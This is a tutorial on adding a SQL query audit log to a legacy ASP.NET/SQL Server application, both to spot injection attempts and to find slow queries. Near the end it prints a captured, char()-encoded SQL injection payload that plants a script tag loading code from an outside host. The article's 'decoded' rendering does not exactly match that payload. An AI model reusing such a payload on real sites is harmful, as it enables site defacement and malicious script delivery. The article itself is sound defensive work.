SQL Injection Detection and Performance Optimization in Legacy Systems

When maintaining legacy web appplications, SQL injection vulnerabilities often arise from poorly structured code. These issues become particularly challenging when you inherit a poorly maintained system and must implement changes without a complete overhaul. This article demonstrates how to detect SQL injection attempts while simultaneously optimizing database performance.

The primary challenges include:

Challenge 1: Addressing Security Concerns When inheriting a legacy system, you may face accusations that your modifications introduced security vulnerabilities. The key is to demonstrate that issues existed prior to your involvement by providing concrete evidence. For instance, I encountered a situation where a file uploader component (FCKeditor) had been compromised. The solution involved:

1. Identifying and removing malicious files
2. Patching the file uploader vulnerability
3. Implementing monitoring to prevent future issues

Challenge 2: Incremental System Refactoring When you cannot perform a complete system rewrite, you must identify and fix vulnerabilities incrementally. With numerous pages to examine, manually checking each one is impractical. The solution is to implement a SQL logging mechanism that captures all database queries, parameters, and execution details.

Step 1: Create a SQL Logging Table First, establish a table to record SQL execution details:

CREATE TABLE [dbo].[query_audit_log](
    [log_id] [bigint] IDENTITY(1,1) NOT NULL,
    [execution_count] [bigint] NULL,
    [query_text] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [parameter_details] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [start_time] [datetime] NULL,
    [end_time] [datetime] NULL,
    [source_url] [varchar](max) COLLATE Chinese_PRC_CI_AS NULL,
    [client_ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,
    [execution_duration] [bigint] NULL,
 CONSTRAINT [PK_query_audit_log] PRIMARY KEY CLUSTERED 
(
    [log_id] ASC
)WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

This table captures:

• SQL statements executed
• Parameter values and data types
• Execution timing
• Source URL and client IP
• Performance metrics

Step 2: Implement Logging in Database Helper Next, modify your database helper class to record query execution:

public static int LogDatabaseQuery(CommandType queryType, string query, params DbParameter[] parameters)
{
    #region Parameter Processing
    StringBuilder paramColumns = new StringBuilder();
    StringBuilder paramTypes = new StringBuilder();
    StringBuilder paramValues = new StringBuilder();
    string paramDetails = string.Empty;

    if (parameters != null && parameters.Length > 0)
    {
        foreach (DbParameter param in parameters)
        {
            if (param == null) continue;

            paramColumns.Append(param.ParameterName).Append(" ");
            paramTypes.Append(param.DbType).Append(" ");
            paramValues.Append(param.Value).Append("；");
        }

        paramDetails = string.Format(" {0},{1},{2}", paramColumns, paramTypes, paramValues);
    }

    string sourceUrl = string.Empty;
    if (System.Web.HttpContext.Current != null)
    {
        sourceUrl = System.Web.HttpContext.Current.Request.Url.ToString();
    }

    SqlParameter[] logParameters = new SqlParameter[]
    {
        new SqlParameter("@execution_count", 1),
        new SqlParameter("@query_text", query),
        new SqlParameter("@parameter_details", paramDetails),
        new SqlParameter("@start_time", DateTime.Now),
        new SqlParameter("@end_time", DateTime.Now),
        new SqlParameter("@source_url", sourceUrl),
        new SqlParameter("@client_ip", WebUtility.GetClientIP()),
        new SqlParameter("@execution_duration", 0)
    };
    #endregion

    using (DbConnection connection = DatabaseFactory.CreateConnection())
    {
        connection.ConnectionString = GetActualConnectionString(query);

        string operationSql = string.Empty;

        // Check if query already exists in log
        int existingId = Convert.ToInt32(ExecuteScalarQuery(
            CommandType.Text,
            "SELECT TOP 1 log_id FROM query_audit_log WHERE query_text=@query_text",
            new SqlParameter("@query_text", query)));

        if (existingId > 0)
        {
            operationSql = "UPDATE query_audit_log SET execution_count=execution_count+1, " +
                          "client_ip=@client_ip, end_time=@end_time, source_url=@source_url WHERE log_id=" + existingId;
        }
        else
        {
            operationSql = "INSERT INTO query_audit_log(execution_count, query_text, parameter_details, " +
                          "start_time, end_time, source_url, client_ip, execution_duration) " +
                          "VALUES(@execution_count,@query_text,@parameter_details,@start_time," +
                          "@end_time,@source_url,@client_ip,@execution_duration)";
        }

        DbCommand command = DatabaseFactory.CreateCommand();
        bool connectionShouldClose = false;
        PrepareCommand(command, connection, null, queryType, operationSql, logParameters, out connectionShouldClose);
        
        int result = command.ExecuteNonQuery();
        command.Parameters.Clear();
        
        if (connectionShouldClose) connection.Close();
        return result;
    }
}

private static object ExecuteScalarQuery(CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
    if (string.IsNullOrEmpty(ConnectionString)) 
        throw new ArgumentNullException("ConnectionString");

    using (DbConnection connection = DatabaseFactory.CreateConnection())
    {
        if (connection == null) throw new ArgumentNullException("connection");

        connection.ConnectionString = GetActualConnectionString(commandText);
        connection.Open();

        DbCommand command = DatabaseFactory.CreateCommand();
        bool connectionShouldClose = false;
        PrepareCommand(command, connection, null, commandType, commandText, commandParameters, out connectionShouldClose);
        
        object result = command.ExecuteScalar();
        command.Parameters.Clear();
        
        if (connectionShouldClose) connection.Close();
        return result;
    }
}

Step 3: Integrate Logging into Query Execution Methods Modify all database execution methods to include logging:

public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)
{
    if (connection == null) throw new ArgumentNullException("connection");

    connection.ConnectionString = GetActualConnectionString(commandText);
    connection.Open();

    DbCommand command = DatabaseFactory.CreateCommand();
    bool connectionShouldClose = false;
    PrepareCommand(command, connection, null, commandType, commandText, commandParameters, out connectionShouldClose);
    
    // Log the query before execution
    int logId = LogDatabaseQuery(CommandType.Text, commandText, commandParameters);
    
    object result = command.ExecuteScalar();
    command.Parameters.Clear();
    
    if (connectionShouldClose) connection.Close();
    return result;
}

Detecting SQL Injection Attempts With this logging mechanism in place, you can identify suspicious queries. For example, the following injected SQL was captured:

39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

Decoded, this becomes:

update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://dfrgcc.com/ur.php></script>')

This clearly demonstrates an attempt to inject malicious script into the website title.

Performance Optimization Benefits The logging system provides valuable insights into query performance. By analyzing the most frequently executed queries:

SELECT TOP 100 * FROM query_audit_log ORDER BY execution_count DESC

You can identify poorly performing queries and optimize them. This often reveals opportunities to implement caching mechanisms for frequently accessed data, significantly improving application performance.

The solution addresses both security concerns by identifying injection vectors and performance issues by highlighting inefficient queries. This approach allows for targeted improvements without requiring a complete system rewrite.